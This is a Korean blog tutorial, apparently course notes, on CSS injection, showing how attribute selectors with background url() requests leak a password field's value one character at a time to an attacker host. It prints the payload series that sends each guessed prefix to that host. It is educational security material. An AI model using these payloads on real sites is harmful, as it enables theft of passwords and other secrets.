반응형
CSS의 Selector나 HTTP 요청 생성을 통해 문서 정보 획득 및 CSRF 공격 연계 가능.
<style>
@import url("http://example.com/");
/* 외부 자원의 CSS 로드 */
body { background: url("http://example.com/"); }
/* 해당 태그의 백그라운드 이미지 지정. */
</style>
공격 예시
<input type="password" name="userpw" value="SuperSecret"/>
<style>
/* 사용자 입력 데이터 */
</style>
password가 SuperSecret인 경우
input[name='userpw'][value^='a']{background: url("http://hacker.dreamhack.com/a");}
input[name='userpw'][value^='b']{background: url("http://hacker.dreamhack.com/b");}
input[name='userpw'][value^='c']{background: url("http://hacker.dreamhack.com/c");}
...
input[name='userpw'][value^='S']{background: url("http://hacker.dreamhack.com/S");}
value ^= 'a' 는 value가 a로 시작인 경우 뒤의 css 실행.
해커의 사이트에 /S 요청이 가면서 패스워드가 S로 시작됨을 알게됨.
두번재 페이로드로
input[name='userpw'][value^='Sa']{background: url("http://hacker.dreamhack.com/Sa");}
input[name='userpw'][value^='Sb']{background: url("http://hacker.dreamhack.com/Sb");}
input[name='userpw'][value^='Sc']{background: url("http://hacker.dreamhack.com/Sc");}
...
input[name='userpw'][value^='Su']{background: url("http://hacker.dreamhack.com/Su");}
수행하면서 하나씩 알아낼 수 있음.
css문법
[value^='a'] | a로 시작하는 경우 | <value="abc"> |
[value$='a'] | a로 끝나는 경우 | <value="cba"> |
[value*='a'] | a가 포함되어 있는 경우 | <value="bab"> |
[value='ABC' i] | abc이며 대소문자 구분를 하지 않는 경우 | <value="abc"> <value="ABC"> |
반응형
'Security' 카테고리의 다른 글
[systemhacking] Out of Boundary (0) | 2021.11.11 |
---|---|
[systemhacking] 버퍼 오버플로우 (0) | 2021.11.10 |
[Webhacking] [client-side advanced] Exploit Techniques - Dom Clobbering (0) | 2021.11.03 |
[Webhacking] [client-side advanced] Exploit Techniques - Relative Path Overwrite (RPO) (0) | 2021.11.03 |
[systemhacking] 시스템 해킹 기초 (0) | 2021.10.28 |